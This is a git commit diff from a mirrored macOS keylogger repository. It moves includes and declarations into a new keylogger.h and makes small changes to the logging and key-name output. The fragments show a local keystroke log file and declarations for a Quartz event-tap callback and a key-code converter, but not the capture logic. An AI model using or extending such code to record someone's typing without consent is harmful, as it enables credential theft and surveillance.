1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Add keylogger.h.

This commit is contained in:
Casey Scarborough 2013-09-16 19:46:20 -04:00
parent c8c94c40e6
commit f6a7cbe93f
2 changed files with 20 additions and 14 deletions

View File

@ -1,14 +1,4 @@
#include <iostream> #include "keylogger.h"
#include <stdio.h>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
using namespace std;
FILE *logfile = NULL;
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);
int main(int argc, const char *argv[]) { int main(int argc, const char *argv[]) {
@ -27,7 +17,7 @@ int main(int argc, const char *argv[]) {
const char *logfileLocation = "./keystroke.log"; const char *logfileLocation = "./keystroke.log";
logfile = fopen(logfileLocation, "a"); logfile = fopen(logfileLocation, "a");
fprintf(logfile, "Keylogging has begun."); fprintf(logfile, "Keylogging has begun.\n");
fflush(logfile); fflush(logfile);
cout << "Logging to: " << logfileLocation << endl; cout << "Logging to: " << logfileLocation << endl;
@ -117,7 +107,7 @@ const char *convertKeyCode(int keyCode) {
case 92: return "9"; case 92: return "9";
case 36: return "[return]"; case 36: return "[return]";
case 48: return "[tab]"; case 48: return "[tab]";
case 49: return "[space]"; case 49: return " ";
case 51: return "[del]"; case 51: return "[del]";
case 53: return "[esc]"; case 53: return "[esc]";
case 55: return "[cmd]"; case 55: return "[cmd]";

16
keylogger.h Normal file
View File

@ -0,0 +1,16 @@
#ifndef __KEYLOGGER_H__
#define __KEYLOGGER_H__
#include <iostream>
#include <stdio.h>
#include <ApplicationServices/ApplicationServices.h>
#include <Carbon/Carbon.h>
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
using namespace std;
FILE *logfile = NULL;
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
const char *convertKeyCode(int);
#endif